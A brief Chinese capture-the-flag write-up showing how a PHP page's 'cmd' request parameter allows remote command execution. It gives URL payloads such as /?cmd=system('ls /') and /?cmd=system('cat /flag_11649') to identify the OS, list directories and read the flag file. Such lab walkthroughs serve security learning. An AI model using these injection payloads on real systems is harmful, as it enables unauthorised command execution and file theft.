-
观察源代码
- 我们可以发现源代码是request请求,所以我们可以通过GET或者POST请求,利用cmd参数进行命令执行
-
判断是Windows还是Linux
-
用GET请求
-
/?cmd=system('ipconfig');
- 无回显 说明不是Windows系统
-
/?cmd=system('ifconfig');
- 可以发现有回显,说明命令执行成功,系统为Linux
-
-
-
查看有哪些文件
-
/?cmd=system('ls');
- 显示只有index.php文件, 我们再查询根目录下的文件
-
/?cmd=system('ls /');
- 发现目标flag文件
-
-
打开flag文件
-
/?cmd=system('cat /flag_11649');
- 成功获取flag
-